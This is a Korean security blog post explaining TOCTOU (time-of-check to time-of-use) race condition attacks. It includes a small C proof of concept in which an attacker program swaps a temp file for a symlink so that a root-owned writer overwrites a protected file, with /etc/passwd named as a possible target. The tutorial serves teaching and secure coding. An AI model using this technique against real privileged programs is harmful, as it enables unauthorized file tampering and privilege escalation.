1/14/2016

[SYSTEM HACKING] TOCTOU(Time-of-check Time-of-use) Race Condition

간만에 내용 정리할겸 Race Condition Attack에 대해 작성해볼까 합니다.
글을 얼마나 뽑아낼 수 있을지 모르겠네요..

일단 Race Condition 기법은 이름 그대로 "경쟁조건" 을 의미하는 공격이고 취약한 프로그램이 사용하는 부분을 동일하게 점유하여 경쟁하고 반복적인 요청 중 공격프로그램이 이길 시 공격자가 원하는 흐름으로 프로그램의 로직을 바꿀수가 있습니다.

물론 전통적인 system hacking 기법 중 하나이고, 웹이나 앱 어디에서도 유사한 형태로 쓰일 수 있습니다.
(물론 Race Condition에 취약한 프로그램이 있다는 가정 하에..)

이부분 궁금하신건 댓글주시거나, 구글링 좀 해보시면 많은 자료들이 있습니다. :)



이 중 TOCTOU(Time-of-check Time-of-use)를 활용한 Race condition 공격에 대한 이야기를 할까 합니다.
TOCTOU는 아주 오래된 기법입니다. 어디서 주워듣기론 1980년대 이 이름을 붙이 공격이 탄생하였고,
많이 나타나진 않지만 전통적인 해킹기법으로 알려진 공격기법입니다.

대체로 TOCTOU가 적용된 Race Condition이 다수이며 시스템 공격뿐만 아니라 웹 Base의 환경에서도 가능하다고 보았던 기억이 납니다.

TOCTOU(Time-of-check Time-of-use) Attack

Race Condition을 활용한 공격 중 TOCTOU 공격이 있습니다.
File Access Race Condition으로도 불리며 Race Condition 예제 중 많이 보이는 내용이기도 합니다.

공격에 대한 기본 원리는 아래와 같습니다.

Program이 데이터를 확인하고, 사용하는 그 시간에 공격자의 코드가 개입하여 흐름을 바꾸게 됩니다.
대체로 Race Condition과 함께 Symbolic Link를 거는 형태의 자료들이 많이 있습니다.

권한이 있는 프로그램이 사용중이 파일이나 메모리에 다른 프로그램(공격자)가 간섭해서 데이터를 오염시키거나, 변조할 수 있는 생각보다 위험한 공격이지요. Linux 에서의 Secure Coding에서도 TOCTOU와 Race Condition에  중요성이 나타나지요.
(https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html)

TOCTOU Race Condition

Race Condition을 통해 TOCTOU를 알아볼까합니다.
많은 예제가 이 부분에 대해 다루고 있죠.

준비물은 간단합니다. 공격자가

1. attack.c -> ./attack
 + perm: user

Attack.c

#include <stdio.h>

void main()
{

  system("rm ./tmp");
  symlink("./target/config","tmp");

}
2. vuln.c -> ./vuln
 + perm: root

#include <stdio.h>
#include <stdlib.h>

FILE *fp;
char str[]="life log.[system]";
int i=1;


void main()
{

while(i)
{
  fp = fopen("tmp","wb++");
  fwrite(str,1,sizeof(str),fp);
  printf("Write Tmp File :: %d\n",i);
  fclose(fp);
  sleep(1); //
  i+=1;
}
}
3. target/config  -> target file
 + perm: high level user
 + or /etc/passwd 등등

# example.. zz
Remote Security Mode: ON

# ./vuln
# ./attack
# cat target/config
life log.[system]


핵심원리는 간단합니다. 임시 파일이나 메모리값을 권한이 있는 소프트웨어가 확인하고 사용하는 찰나 Race Condition 등 공격자의 코드가 그 부분에 간섭하여 흐름을 바꾸는 것 입니다.

Reference

https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU
https://www.owasp.org/index.php/Race_Conditions
https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

0 개의 댓글:

Post a Comment